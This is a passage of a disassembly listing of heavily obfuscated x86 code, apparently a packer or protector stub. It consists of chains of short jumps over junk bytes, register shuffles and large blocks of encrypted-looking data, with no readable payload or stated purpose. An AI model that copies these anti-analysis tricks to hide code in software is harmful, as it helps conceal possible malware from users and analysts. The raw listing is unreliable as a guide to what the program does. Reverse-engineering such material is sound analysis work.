al, 0A5h ; Interrupt Controller #2, 8259A dec esp lds edx, [si-37h] enter 35E5h, 0E0h pop ss loc_4291D8: ; CODE XREF: DMN0:0042922Bj cmc inc edi dec eax inc ebx add [eax+edx*4], eax jo short loc_429193 int 0F5h sbb esi, [eax+6E458613h] nop lodsb mov ah, 0B1h jz short loc_42919A jnb short near ptr loc_4291B5+3 ; --------------------------------------------------------------------------- db 8Fh, 7Fh, 4Ch dd 0DBF76CECh, 1275D99Ah, 29800E3h, 53B583DCh, 19F7EFFCh dd 0C2551496h, 0B677B5F5h, 3F35C119h, 0E102E436h, 0B07A1D32h dd 0B1F184ACh ; --------------------------------------------------------------------------- loc_429220: ; CODE XREF: DMN0:004291C0j mov [edi+67h], esp or esi, [edx-42h] test [ebp-62h], ah inc eax insd jb short loc_4291D8 loc_42922D: ; CODE XREF: DMN0:00429234j adc al, 5 sal bh, 9Dh push ds pop edi js short loc_42922D jg short loc_4292A7 out dx, eax or al, 48h adc al, 12h xchg ecx, [ebp-2FE0BB11h] jns short near ptr loc_4292B9+1 das pop edi insd mov ah, 4Eh cmp ecx, [edx] loc_42924C: ; CODE XREF: DMN0:004292ACj int 84h xor eax, 0CD67F949h int 0A8h ; used by BASIC while in interpreter sbb bh, al test eax, 6313A78Fh push es adc eax, [edx] mov [ebx+1Bh], bh popf call near ptr 0B1761582h add al, 7Ch fadd st, st(2) and al, bl mov ah, 80h pop esi db 3Eh pop edx db 2Eh wait bound edx, [esp+64h] test dword ptr [eax+38h], 57EA70C3h mov ch, 0CEh ; CODE XREF: DMN0:004292C4j add dl, [esi] call near ptr 0E8E7A78Dh outsb mov ebp, 67F1DE3Fh imul edx xchg eax, ecx mov dl, 4Eh sal dh, 1 lodsb dec eax cli rcr byte ptr [ecx], 1 dec ebx retf 988Ah ; --------------------------------------------------------------------------- dd 5BA132ECh db 0D8h, 2Eh, 0EFh ; --------------------------------------------------------------------------- loc_4292A7: ; CODE XREF: DMN0:00429236j push ebx arpl [eax+26h], cx lodsb jge short loc_42924C xchg eax, ebp call near ptr 0B59811B6h mov ebx, 0EC623A7Fh loc_4292B9: ; CODE XREF: DMN0:00429243j fidiv dword ptr [esi] mul dword ptr [ecx+esi*8+1CC96308h] dec edi push ebx jnp short near ptr loc_429281+1 iret ; --------------------------------------------------------------------------- db 0ADh dd 3FC21154h, 56C48BD9h, 5CE3EC9h, 0F920D93Bh, 0D45659EBh dd 187D7EC9h, 680FAFBAh, 1DD253B3h, 5BDC4A4Ch, 0DF921820h dd 0AFB892D7h, 2A147B82h, 6F2C7AFAh, 0BD8B8676h, 15BB445Bh dd 16CB85A9h, 9762966h, 0D09C2BAEh, 44D01B62h, 0DF269903h dd 5FC06A75h, 16547D8Dh, 77AA0B27h, 0B456C2C7h, 0E3B35C31h dd 0F7E3A9F4h, 59CEEC2Ah, 250B5D4Fh, 75ED4972h, 0ABC9B5B9h dd 0E129EE31h, 6FBF684Ch, 90F82F80h, 2555AC0Ch, 37B7994Ch dd 27E199FCh, 3CE8287Bh, 1A554478h, 0AA6D2264h, 8AB0E35Bh dd 9E50449Bh, 3F325EA1h, 0CEB82478h, 2085F03h, 30B002AAh dd 1D4FD85h, 4419282Ch, 4742665Eh, 6C437CD0h, 57B432A1h dd 0ABCC0DB6h, 0C363B79Ah, 0FC7AB8B3h, 9597A948h, 43699989h dd 634E8382h, 4C978ACDh, 3A30358Bh, 6C3B6C36h, 7052219Ah dd 18A093C4h db 0CCh ; --------------------------------------------------------------------------- pop ss dec edx push ebp mov ebp, esp mov eax, [esp+8] mov ebp, eax pusha mov eax, 0CD42DC15h push eax jmp short loc_4293EF ; --------------------------------------------------------------------------- db 0B2h, 0B4h, 3Bh dd 0CC2DD9ABh, 0D7AB6A6h, 0E9DA5A62h, 2286455Bh, 74654113h dd 502873BEh db 8, 0DDh, 62h ; --------------------------------------------------------------------------- loc_4293EF: ; CODE XREF: DMN0:004293CFj xchg ecx, esi xchg edx, ecx jmp short loc_4293FE ; --------------------------------------------------------------------------- db 35h, 6Bh, 0E3h ; --------------------------------------------------------------------------- fidivr word ptr [esi+45D71E1Dh] loc_4293FE: ; CODE XREF: DMN0:004293F3j cmc jmp short loc_42941B ; --------------------------------------------------------------------------- db 5Ch, 86h, 18h dd 2C3904A7h, 0B450EDC1h, 2636C64Ch, 9EECDD9Dh, 16FFF072h db 5, 0EAh, 0C3h ; --------------------------------------------------------------------------- loc_42941B: ; CODE XREF: DMN0:004293FFj cmc clc clc jmp short loc_42942A ; --------------------------------------------------------------------------- dd 0CE81413Ah, 0DC3B9AA2h db 11h db 6 ; --------------------------------------------------------------------------- loc_42942A: ; CODE XREF: DMN0:0042941Ej jmp short loc_429446 ; --------------------------------------------------------------------------- dd 9F9C45A7h, 6A7DC06Fh, 6316194Ah, 4DB29AFBh, 14E9EAD4h dd 2294B43Bh ; --------------------------------------------------------------------------- pop ebp push edx loc_429446: ; CODE XREF: DMN0:loc_42942Aj neg ebx jmp short loc_429457 ; --------------------------------------------------------------------------- dw 1F41h dd 78617391h, 0E6D7F8D7h db 2Eh, 97h, 0D9h ; --------------------------------------------------------------------------- loc_429457: ; CODE XREF: DMN0:00429448j jmp short $+2 test eax, 42D53FC2h xor edi, edi jmp short loc_429467 ; --------------------------------------------------------------------------- db 0E1h db 0D2h, 0ACh, 0FDh ; --------------------------------------------------------------------------- loc_429467: ; CODE XREF: DMN0:00429461j jmp short loc_42947E ; --------------------------------------------------------------------------- db 0EDh, 0BCh, 18h dd 0B0122D62h, 8FF3A9C4h, 6F071E9Dh, 93A03CA0h db 0EEh, 5Fh ; --------------------------------------------------------------------------- loc_42947E: ; CODE XREF: DMN0:loc_429467j xchg ecx, eax jmp short loc_42949C ; --------------------------------------------------------------------------- dw 0BD6Ch dd 76ADDE08h, 58772D9Dh, 0A8D54242h, 11C7B38h, 0B6E4E093h dd 801151D5h ; --------------------------------------------------------------------------- loc_42949C: ; CODE XREF: DMN0:00429480j jmp short loc_4294AC ; --------------------------------------------------------------------------- dw 0EAF4h ; --------------------------------------------------------------------------- cld lea eax, [edx] sbb al, 3Eh mov ecx, 0BFA3F8B9h jecxz short loc_4294E4 loc_4294AC: ; CODE XREF: DMN0:loc_42949Cj jmp short loc_4294C1 ; --------------------------------------------------------------------------- dw 39E1h dd 7C14A758h, 829977Fh, 7BDE6A71h, 61CCF5F2h db 80h ; --------------------------------------------------------------------------- loc_4294C1: ; CODE XREF: DMN0:loc_4294ACj bswap eax neg ecx add edi, 31000h jmp short loc_4294EA ; --------------------------------------------------------------------------- and [esi-22CE10ADh], edi cmp al, 5Eh retf 0FEEDh ; --------------------------------------------------------------------------- dd 0B84BF458h, 4162F616h, 6BC98B2Bh ; --------------------------------------------------------------------------- loc_4294E4: ; CODE XREF: DMN0:004294AAj test bl, al push ebp mov cl, 41h outsb loc_4294EA: ; CODE XREF: DMN0:004294CBj xor ebx, 73260473h jmp short loc_42950B ; --------------------------------------------------------------------------- dw 0D962h dd 279AFD22h, 0FE1785BCh, 70DA97FEh, 0FE3BD215h, 8247B1AEh db 25h, 97h, 79h ; --------------------------------------------------------------------------- loc_42950B: ; CODE XREF: DMN0:004294F0j jmp short loc_42952A ; --------------------------------------------------------------------------- db 8Eh, 4Ch, 0C8h dd 56710C20h, 1A3C60F2h, 0ED1ABACEh, 0CF727316h, 2564B72Fh dd 192644Bh db 83h, 0B3h ; --------------------------------------------------------------------------- loc_42952A: ; CODE XREF: DMN0:loc_42950Bj xchg eax, ebp xchg ebp, edi jmp short loc_42954D ; --------------------------------------------------------------------------- dd 0E1E2B5F2h, 0F5103677h, 8CDC6D2Bh, 0B6E7726Ch, 59F0DE6Ch dd 8B3FD2Ah, 0F7B6AA6Ch db 0BEh ; --------------------------------------------------------------------------- loc_42954D: ; CODE XREF: DMN0:0042952Ej jmp short loc_429560 ; --------------------------------------------------------------------------- align 10h dd 0B0D5F912h, 2F2A5062h, 0A3E10BBDh, 33EE1201h ; --------------------------------------------------------------------------- loc_429560: ; CODE XREF: DMN0:loc_42954Dj sub edx, edx jmp short loc_429583 ; --------------------------------------------------------------------------- dd 0E4510D0h, 5B4DF6F8h, 5423B200h, 0F85FD0C4h, 2E4E657Dh dd 0CCDA4326h, 0ABDD0F8Bh db 0BAh, 5Fh, 2Fh ; --------------------------------------------------------------------------- loc_429583: ; CODE XREF: DMN0:00429562j xchg edi, ebx jmp short loc_429594 ; --------------------------------------------------------------------------- db 30h dd 0C51DCCAAh, 3303F08Bh, 4FC16C28h ; --------------------------------------------------------------------------- loc_429594: ; CODE XREF: DMN0:00429585j jmp short loc_429599 ; --------------------------------------------------------------------------- dw 689Dh db 0B1h ; --------------------------------------------------------------------------- loc_429599: ; CODE XREF: DMN0:loc_429594j cmc jmp short loc_4295B6 ; --------------------------------------------------------------------------- dd 4013323Fh, 0B8F01E1Ch, 4BBC07B5h, 77ADAADh, 32F7F74Bh dd 73D3DE62h db 0F1h, 0D5h ; --------------------------------------------------------------------------- loc_4295B6: ; CODE XREF: DMN0:0042959Aj jmp short loc_4295BE ; --------------------------------------------------------------------------- dd 0B23DF2E7h ; --------------------------------------------------------------------------- or ecx, edx loc_4295BE: ; CODE XREF: DMN0:loc_4295B6j jmp short loc_4295C8 ; --------------------------------------------------------------------------- dd 0F2FB471Ch, 0F5AB8E1Fh ; --------------------------------------------------------------------------- loc_4295C8: ; CODE XREF: DMN0:loc_4295BEj sal edi, 0EAh add edx, 5363h loc_4295D1: ; CODE XREF: DMN0:00429E1Ej jmp short loc_4295DC ; --------------------------------------------------------------------------- db 46h dd 62D9DBABh, 0F8AFC4ABh ; --------------------------------------------------------------------------- loc_4295DC: ; CODE XREF: DMN0:loc_4295D1j jmp short loc_4295F3 ; --------------------------------------------------------------------------- dw 9276h dd 6926D5E4h, 213CCF9Dh, 5E1E4601h, 66C2C370h db 0F2h, 65h, 0F0h ; --------------------------------------------------------------------------- loc_4295F3: ; CODE XREF: DMN0:loc_4295DCj neg edi jmp short loc_4295FF ; --------------------------------------------------------------------------- db 1 dd 7213B2DDh db 27h, 7Bh, 0C0h ; --------------------------------------------------------------------------- loc_4295FF: ; CODE XREF: DMN0:004295F5j jmp short loc_429607 ; --------------------------------------------------------------------------- cmp ds:0E8CCE2F1h, dl loc_429607: ; CODE XREF: DMN0:loc_4295FFj jmp short loc_429623 ; --------------------------------------------------------------------------- db 28h, 41h, 58h dd 6FBDC91Fh, 0EAD02616h, 29D5A7E4h, 540443B7h, 0F760A005h db 75h, 8Eh, 21h ; --------------------------------------------------------------------------- loc_429623: ; CODE XREF: DMN0:loc_429607j xchg esi, esp jmp short loc_42963A ; --------------------------------------------------------------------------- db 89h dd 6BE2CD80h, 0A9394445h, 0A166857Eh, 76B8A0B4h db 7, 0CAh ; --------------------------------------------------------------------------- loc_42963A: ; CODE XREF: DMN0:00429625j cmc jmp short loc_429647 ; --------------------------------------------------------------------------- db 0ECh, 35h, 39h ; --------------------------------------------------------------------------- pop edi retn 6F6Ch ; --------------------------------------------------------------------------- mov fs, word ptr [ecx+3Dh] loc_429647: ; CODE XREF: DMN0:0042963Bj jmp short loc_42964D ; --------------------------------------------------------------------------- db 64h, 34h, 6Dh db 75h ; --------------------------------------------------------------------------- loc_42964D: ; CODE XREF: DMN0:loc_429647j jmp short loc_429662 ; --------------------------------------------------------------------------- db 0CDh dd 3B1C8528h, 2B27A0BBh, 0A26752F7h, 47A1CC61h ; --------------------------------------------------------------------------- cmp [edx], bl loc_429662: ; CODE XREF: DMN0:loc_42964Dj jmp short loc_429665 ; --------------------------------------------------------------------------- sahf loc_429665: ; CODE XREF: DMN0:loc_429662j xchg eax, eax jmp short loc_429685 ; --------------------------------------------------------------------------- db 0A0h, 43h, 0D2h dd 7AA3B698h, 39C76E3Ah, 0EF792336h, 6479B821h, 64D9E5DEh dd 0DBD3CA75h db 0EFh ; --------------------------------------------------------------------------- loc_429685: ; CODE XREF: DMN0:00429667j xchg esi, esp jmp short loc_429693 ; --------------------------------------------------------------------------- db 0F4h, 1Bh, 2Dh dd 0E96E962Fh db 22h, 0, 6Ah ; --------------------------------------------------------------------------- loc_429693: ; CODE XREF: DMN0:00429687j jmp short loc_4296B3 ; --------------------------------------------------------------------------- db 96h, 90h, 0EBh dd 4DB416B5h, 0DE88B949h, 0AF00FEDCh, 0E181AE1h, 0EB00A080h dd 8D806Dh db 0B0h, 2Ah, 0EBh ; --------------------------------------------------------------------------- loc_4296B3: ; CODE XREF: DMN0:loc_429693j mov ebx, ebp jmp short loc_4296D4 ; --------------------------------------------------------------------------- db 6Ch ; --------------------------------------------------------------------------- xchg eax, edi sbb ah, ah and esp, eax jno short locret_429704 fcmovu st, st adc eax, 47A3B5E9h mov ch, 0DCh leave push edx and al, 0B1h retf 0B045h ; --------------------------------------------------------------------------- db 3 dd 0B65C2A1Ch ; --------------------------------------------------------------------------- loc_4296D4: ; CODE XREF: DMN0:004296B5j xchg edx, edx cmc ror ecx, 85h jmp short loc_4296E1 ; --------------------------------------------------------------------------- dd 56820A20h ; --------------------------------------------------------------------------- popf loc_4296E1: ; CODE XREF: DMN0:004296DAj xchg edx, edx jmp short loc_4296EF ; --------------------------------------------------------------------------- db 0A9h, 0D2h, 0E1h dd 0EAFE28F0h db 41h, 97h, 85h ; --------------------------------------------------------------------------- loc_4296EF: ; CODE XREF: DMN0:004296E3j jmp short loc_4296F3 ; --------------------------------------------------------------------------- db 6Eh, 79h ; --------------------------------------------------------------------------- loc_4296F3: ; CODE XREF: DMN0:loc_4296EFj jmp short loc_429707 ; --------------------------------------------------------------------------- db 21h, 30h, 11h dd 66919A83h, 93E5546Ah, 0C7FB24F4h ; --------------------------------------------------------------------------- locret_429704: ; CODE XREF: DMN0:004296BDj retf 0A41Ch ; --------------------------------------------------------------------------- loc_429707: ; CODE XREF: DMN0:loc_4296F3j std jmp short loc_42971E ; --------------------------------------------------------------------------- dw 0CF46h dd 6A5980E7h, 303BC2B8h, 40E757FBh, 10CFEA1Bh ; --------------------------------------------------------------------------- dec ebp dec ebx loc_42971E: ; CODE XREF: DMN0:00429708j jmp short loc_429734 ; --------------------------------------------------------------------------- mov ds:0B55F9620h, al mov esi, 0E2C7AF18h retf 4529h ; --------------------------------------------------------------------------- db 31h, 53h, 39h dd 888044FCh ; --------------------------------------------------------------------------- loc_429734: ; CODE XREF: DMN0:loc_42971Ej add ebx, eax xchg esp, ecx jmp short loc_429743 ; --------------------------------------------------------------------------- pop esp jz short near ptr byte_429795 retn ; --------------------------------------------------------------------------- sub eax, 9A7BD67Ch loc_429743: ; CODE XREF: DMN0:00429738j jmp short loc_429753 ; --------------------------------------------------------------------------- db 5Dh, 50h, 0E5h dd 13FFDD81h, 65E996E4h db 0DCh, 90h, 0EDh ; --------------------------------------------------------------------------- loc_429753: ; CODE XREF: DMN0:loc_429743j jmp short loc_429764 ; --------------------------------------------------------------------------- db 0FAh, 0C8h, 55h dd 0F4A4AF7Dh, 17C0BAE0h, 6BB6E631h ; --------------------------------------------------------------------------- loc_429764: ; CODE XREF: DMN0:loc_429753j jmp short loc_429777 ; --------------------------------------------------------------------------- dw 0C5F8h dd 0C794850Dh, 9B71CDE0h, 0D8929103h db 76h, 0A3h, 0BAh ; --------------------------------------------------------------------------- loc_429777: ; CODE XREF: DMN0:loc_429764j mov esi, [ebx] jmp short loc_429799 ; --------------------------------------------------------------------------- db 0BCh dd 0F0E89834h, 0E9A5B0EDh, 2EA97C98h, 29FE06AEh, 0E0A8FE9Bh dd 0E3CE385Dh db 0A4h byte_429795 db 35h, 91h, 33h ; CODE XREF: DMN0:0042973Bj db 0EDh ; --------------------------------------------------------------------------- loc_429799: ; CODE XREF: DMN0:00429779j jmp short loc_4297AE ; --------------------------------------------------------------------------- sub dh, [ebp-795B5B2Ah] aas wait adc dh, [eax+21h] adc [ebx+19A4B36Bh], esp sbb dh, bh loc_4297AE: ; CODE XREF: DMN0:loc_429799j xchg ebp, ecx jmp short loc_4297B3 ; --------------------------------------------------------------------------- push ecx loc_4297B3: ; CODE XREF: DMN0:004297B0j xchg ebp, edx jmp short loc_4297C4 ; --------------------------------------------------------------------------- aaa mov dh, dl xor al, 0Dh inc edx and [ebx-1Ah], al dec esi mov dh, 0F6h sahf loc_4297C4: ; CODE XREF: DMN0:004297B5j jmp short loc_4297D0 ; --------------------------------------------------------------------------- dw 8C66h db 0CCh db 0D7h, 0B2h, 0A0h dd 0BB70EF9Ch ; --------------------------------------------------------------------------- loc_4297D0: ; CODE XREF: DMN0:loc_4297C4j jmp short loc_4297F0 ; --------------------------------------------------------------------------- dw 0DEC5h dd 2C8A7FF1h, 0ED3B938Ch, 0DAAF365Fh, 0FCF6C444h, 6388489Eh dd 0A722DC77h, 90443EEEh ; --------------------------------------------------------------------------- loc_4297F0: ; CODE XREF: DMN0:loc_4297D0j xchg esi, edi loc_4297F2: ; CODE XREF: DMN0:0042985Cj xchg edx, ecx jmp short loc_429814 ; --------------------------------------------------------------------------- dw 639Eh dd 0C4429C68h, 91DE9B6Eh, 0E5472B60h, 0C7774D54h, 51A0C666h dd 4DEB79C8h, 6FEFE27Eh ; --------------------------------------------------------------------------- loc_429814: ; CODE XREF: DMN0:004297F4j jmp short loc_42981C ; --------------------------------------------------------------------------- dw 3DBCh dd 0D0A25BB0h ; --------------------------------------------------------------------------- loc_42981C: ; CODE XREF: DMN0:loc_429814j jmp short loc_42981F ; --------------------------------------------------------------------------- db 75h ; --------------------------------------------------------------------------- loc_42981F: ; CODE XREF: DMN0:loc_42981Cj jmp short loc_42983D ; --------------------------------------------------------------------------- db 1Ah, 87h, 0F8h dd 0D534767Eh, 4FA02AF4h, 9D87EEAFh, 0D339D840h, 1B905719h dd 7D3DDF42h ; --------------------------------------------------------------------------- das loc_42983D: ; CODE XREF: DMN0:loc_42981Fj xchg ecx, ebp xor edi, [ebp+0] jmp short loc_42985E ; --------------------------------------------------------------------------- dd 0B465B10Fh, 0EA6DAA29h, 0AEC58A0Ch, 4AA98E38h, 88B73F57h dd 0D9E37BD5h ; --------------------------------------------------------------------------- jle short loc_4297F2 loc_42985E: ; CODE XREF: DMN0:00429842j jmp short loc_429874 ; --------------------------------------------------------------------------- dd 573763B6h, 0CF0BD250h, 0F9CB1837h, 0E9C39628h, 933E6A6Bh ; --------------------------------------------------------------------------- loc_429874: ; CODE XREF: DMN0:loc_42985Ej bswap ebx jmp short loc_429879 ; --------------------------------------------------------------------------- db 65h ; --------------------------------------------------------------------------- loc_429879: ; CODE XREF: DMN0:00429876j jmp short $+2 xchg esp, edi jmp short loc_429899 ; --------------------------------------------------------------------------- xor ds:0A51465F2h, ah xchg eax, edx nop jg short loc_4298C8 wait popa push ecx cmpsb sbb eax, 987D091Ch int 3 ; Trap to Debugger pop ebp mov ds:942E647Bh, al loc_429899: ; CODE XREF: DMN0:0042987Dj cmc jmp short loc_42989D ; --------------------------------------------------------------------------- db 78h ; --------------------------------------------------------------------------- loc_42989D: ; CODE XREF: DMN0:0042989Aj xchg esi, ecx jmp short loc_4298BD ; --------------------------------------------------------------------------- db 0F3h, 48h, 7Dh dd 0EF253F0Eh, 0EB01D601h, 9D786E80h, 0E38D6410h, 0C530688Ch dd 0B5A850CDh db 14h ; --------------------------------------------------------------------------- loc_4298BD: ; CODE XREF: DMN0:0042989Fj xchg ebp, esi jmp short loc_4298C4 ; --------------------------------------------------------------------------- db 22h, 0EEh, 3Ah ; --------------------------------------------------------------------------- loc_4298C4: ; CODE XREF: DMN0:004298BFj jmp short loc_4298D9 ; --------------------------------------------------------------------------- dec edx push esp loc_4298C8: ; CODE XREF: DMN0:00429887j sub al, 9 jmp near ptr 92C825F9h ; --------------------------------------------------------------------------- db 16h dd 65F7B6F4h, 4AEA8A6h db 0DDh ; --------------------------------------------------------------------------- loc_4298D9: ; CODE XREF: DMN0:loc_4298C4j jmp short loc_4298F9 ; --------------------------------------------------------------------------- inc esi cmp eax, 5209D821h retn 5848h ; --------------------------------------------------------------------------- dd 84990962h, 0CABA92AFh, 0E78BF50h, 0AC8A529h, 6042936h db 9 ; --------------------------------------------------------------------------- loc_4298F9: ; CODE XREF: DMN0:loc_4298D9j xchg esp, [esi] test ecx, 0E9A69C5Ch stc cld std jmp short loc_42991F ; --------------------------------------------------------------------------- dw 0A4C5h dd 0C86D6E8h, 158A98EAh, 4856BC43h, 0AD03C154h, 482C4318h db 0FFh, 64h, 5Fh ; --------------------------------------------------------------------------- loc_42991F: ; CODE XREF: DMN0:00429904j sub esp, 902A5E66h jmp short loc_42993C ; --------------------------------------------------------------------------- db 44h dd 0C655C6D1h, 0F81DDE71h, 63AFAA20h, 5E5B7623h, 0EE24EAE1h ; --------------------------------------------------------------------------- loc_42993C: ; CODE XREF: DMN0:00429925j jmp short loc_429958 ; --------------------------------------------------------------------------- dw 0EB10h dd 4A7D3E68h, 4AFEB940h, 0EBB8A02Eh, 0B6177131h, 854E6AC6h dd 0E3187ADh ; --------------------------------------------------------------------------- loc_429958: ; CODE XREF: DMN0:loc_42993Cj jmp short loc_429970 ; --------------------------------------------------------------------------- dw 8348h db 0CCh db 12h, 52h, 0BBh dd 12A6B1Dh, 97A2181Fh, 704582BBh, 0E5429F9Bh ; --------------------------------------------------------------------------- loc_429970: ; CODE XREF: DMN0:loc_429958j xchg edx, eax xchg edi, ebp jmp short loc_429978 ; --------------------------------------------------------------------------- dw 1B95h ; --------------------------------------------------------------------------- loc_429978: ; CODE XREF: DMN0:00429974j sbb ecx, 65FF6E4h jmp short loc_429999 ; --------------------------------------------------------------------------- dd 0AAA06AF3h, 0E974CD4Ah, 0BD6CA8A0h, 502D3994h, 0BCC2A985h dd 8E80A57Ah db 89h ; --------------------------------------------------------------------------- loc_429999: ; CODE XREF: DMN0:0042997Ej ror esp, 1 cmc jmp short loc_4299BD ; --------------------------------------------------------------------------- dw 0BB28h dd 0B955B97Fh, 44DB5458h, 0E01FE717h, 3414F577h, 50273011h dd 8915D7A2h, 0BCC6206Ah db 29h ; --------------------------------------------------------------------------- loc_4299BD: ; CODE XREF: DMN0:0042999Cj xchg esi, eax xchg esp, esp jmp short loc_4299E0 ; --------------------------------------------------------------------------- mov eax, ds:14E70F39h icebp rcr esi, cl retf ; --------------------------------------------------------------------------- dd 643CF96h, 296A5E43h, 862FBFF6h, 4A9C0759h, 0C1F60A98h ; --------------------------------------------------------------------------- loc_4299E0: ; CODE XREF: DMN0:004299C1j neg ebp jmp short loc_4299ED ; --------------------------------------------------------------------------- dd 8B999AACh, 809794B5h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_4299ED: ; CODE XREF: DMN0:004299E2j jmp short $+2 jmp short loc_4299F6 ; --------------------------------------------------------------------------- cwde xchg ah, [ebp-51h] icebp loc_4299F6: ; CODE XREF: DMN0:004299EFj jmp short loc_429A08 ; --------------------------------------------------------------------------- dd 2230B5BEh, 92B64AC2h, 9DBE4765h, 0BA71146h ; --------------------------------------------------------------------------- loc_429A08: ; CODE XREF: DMN0:loc_4299F6j jmp short loc_429A1F ; --------------------------------------------------------------------------- dw 19D6h dd 8ED25271h, 5612A2A2h, 3489FD56h, 0A8D525A3h db 76h, 9Bh, 0DFh ; --------------------------------------------------------------------------- loc_429A1F: ; CODE XREF: DMN0:loc_429A08j xchg esp, [eax] jmp short loc_429A3D ; --------------------------------------------------------------------------- db 0E6h ; --------------------------------------------------------------------------- retn 0F64Dh ; --------------------------------------------------------------------------- db 3Bh dd 478B9233h, 0B7F6725h, 0FE4C555Ch, 0A66D0B58h, 0F40D2ADFh db 69h ; --------------------------------------------------------------------------- loc_429A3D: ; CODE XREF: DMN0:00429A21j jmp short loc_429A41 ; --------------------------------------------------------------------------- db 0F2h db 19h ; --------------------------------------------------------------------------- loc_429A41: ; CODE XREF: DMN0:loc_429A3Dj cld std xchg ebp, esi jmp short loc_429A5F ; --------------------------------------------------------------------------- db 8Ah dd 6FE3F4Eh, 80B25974h, 3EECA81Fh, 0CFC11BE2h, 17064DB1h ; --------------------------------------------------------------------------- cdq retf ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- loc_429A5F: ; CODE XREF: DMN0:00429A45j cld jmp short loc_429A80 ; --------------------------------------------------------------------------- neg byte ptr [eax] mov bl, 8 pop esi xchg bl, [ebx+23h] xchg eax, ecx cmpsd push esi and [edi+5057899Fh], esi mov dword ptr [ebx+0Eh], 0B154936Dh or al, 93h cmp al, 4 std xchg eax, ebp loc_429A80: ; CODE XREF: DMN0:00429A60j sub ebx, 0A5D8492Eh jmp short loc_429AA6 ; --------------------------------------------------------------------------- dd 0AD8A7811h, 0EBB02F66h, 0DA22885Ah, 0D69AF0F1h, 61FB703h dd 39A6D819h, 8A6D29ABh db 8Ch, 0Dh ; --------------------------------------------------------------------------- loc_429AA6: ; CODE XREF: DMN0:00429A86j mov ecx, edx xor esi, 0A3817216h jmp short loc_429ABE ; --------------------------------------------------------------------------- dd 198130FEh, 47E243F7h, 21C9EC63h ; --------------------------------------------------------------------------- cdq pop eax loc_429ABE: ; CODE XREF: DMN0:00429AAEj cmc xchg ecx, eax jmp short loc_429ACA ; --------------------------------------------------------------------------- db 5Dh dd 0B5449A94h db 63h, 0F6h ; --------------------------------------------------------------------------- loc_429ACA: ; CODE XREF: DMN0:00429AC1j clc jmp short loc_429AD1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- sbb ebx, [eax] setalc loc_429AD1: ; CODE XREF: DMN0:00429ACBj jmp short loc_429AD8 ; --------------------------------------------------------------------------- aas db 26h sti and al, 0B6h loc_429AD8: ; CODE XREF: DMN0:loc_429AD1j xchg ebp, esp jmp short $+2 add eax, esp jmp short loc_429AEA ; --------------------------------------------------------------------------- push ebx fild dword ptr [esi] or cl, es:[ecx+2810C0Ch] loc_429AEA: ; CODE XREF: DMN0:00429ADEj jmp short loc_429B09 ; --------------------------------------------------------------------------- dd 0FFD042A8h, 3A9243A7h, 0FAE701CAh, 142F4FAEh, 0DCDE8BCEh dd 6A857843h, 752C0D59h db 1Ah ; --------------------------------------------------------------------------- loc_429B09: ; CODE XREF: DMN0:loc_429AEAj jmp short loc_429B1F ; --------------------------------------------------------------------------- db 0E3h dd 9025AFBEh, 0AC22EF71h, 0CC2116A3h, 1C9FE6D3h db 9, 0AEh, 18h ; --------------------------------------------------------------------------- loc_429B1F: ; CODE XREF: DMN0:loc_429B09j jmp short loc_429B30 ; --------------------------------------------------------------------------- pushf mov edx, 58BAF49Eh xor al, 0B7h or edi, [eax-426152B2h] retn ; --------------------------------------------------------------------------- loc_429B30: ; CODE XREF: DMN0:loc_429B1Fj jmp short loc_429B49 ; --------------------------------------------------------------------------- dw 150h dd 0A73AB811h, 4D2E7591h, 985EDFDFh, 0F110B925h, 0FCA8FA89h db 0F7h ; --------------------------------------------------------------------------- loc_429B49: ; CODE XREF: DMN0:loc_429B30j mov [eax], ebp jmp short loc_429B60 ; --------------------------------------------------------------------------- retn 0B71Ah ; --------------------------------------------------------------------------- das sbb dl, 3 adc al, [edx+eax*8-2Dh] mov esi, 0B19BB05Ah retn 31F1h ; --------------------------------------------------------------------------- loc_429B60: ; CODE XREF: DMN0:00429B4Bj jmp short $+2 jmp short loc_429B83 ; --------------------------------------------------------------------------- aRnqQrlnfLNHsps db 9,'ï',0Ah db 'QLfÁL~N#hápè¼-´',0 db 0B1h dd 73F7A458h db 32h, 9Eh, 3 ; --------------------------------------------------------------------------- loc_429B83: ; CODE XREF: DMN0:00429B62j cmc jmp short loc_429BA0 ; --------------------------------------------------------------------------- dw 15E6h dd 68CB63A0h, 0E83D26Ch, 0FF9FBC7Ah, 5CB38C16h, 0C1ECBECDh dd 5521EDB6h ; --------------------------------------------------------------------------- loc_429BA0: ; CODE XREF: DMN0:00429B84j jmp short loc_429BA9 ; --------------------------------------------------------------------------- dw 0CD5Bh dd 79A44096h db 81h ; --------------------------------------------------------------------------- loc_429BA9: ; CODE XREF: DMN0:loc_429BA0j jmp short loc_429BB0 ; --------------------------------------------------------------------------- db 0F8h dd 4A5F46EEh ; --------------------------------------------------------------------------- loc_429BB0: ; CODE XREF: DMN0:loc_429BA9j xchg edi, ebx jmp short loc_429BC4 ; --------------------------------------------------------------------------- dd 0AF61FBBFh, 0D885E4CFh, 0ED38B526h, 68E478AEh ; --------------------------------------------------------------------------- loc_429BC4: ; CODE XREF: DMN0:00429BB2j jmp short loc_429BE1 ; --------------------------------------------------------------------------- dw 2B01h dd 5DE7C15h, 0A59E7241h, 0F3CD22A6h, 0CA2B486Ch, 7087FE52h dd 0E03AE9h ; --------------------------------------------------------------------------- aaa loc_429BE1: ; CODE XREF: DMN0:loc_429BC4j jmp short loc_429BED ; --------------------------------------------------------------------------- db 92h dd 8E28F31Eh, 305B4A31h ; --------------------------------------------------------------------------- xchg eax, ecx loc_429BED: ; CODE XREF: DMN0:loc_429BE1j stc jmp short loc_429C0B ; --------------------------------------------------------------------------- dd 738647F3h, 0F393A422h, 0AA14391Ch, 3E5D60E1h, 15FF386Fh dd 0ECBC10BDh db 7Fh, 0FAh, 5Eh ; --------------------------------------------------------------------------- loc_429C0B: ; CODE XREF: DMN0:00429BEEj xor ebp, 85E089B9h jmp short loc_429C28 ; --------------------------------------------------------------------------- db 4Dh dd 0ACC0AAF4h, 0BA6530B1h, 0AF5F48A3h, 32C58C98h, 4CA12A40h ; --------------------------------------------------------------------------- loc_429C28: ; CODE XREF: DMN0:00429C11j inc esp jmp short $+2 jmp short loc_429C30 ; --------------------------------------------------------------------------- db 6Dh, 95h, 0D5h ; --------------------------------------------------------------------------- loc_429C30: ; CODE XREF: DMN0:00429C2Bj jmp short loc_429C36 ; --------------------------------------------------------------------------- dw 2588h db 1Ah, 6Fh ; 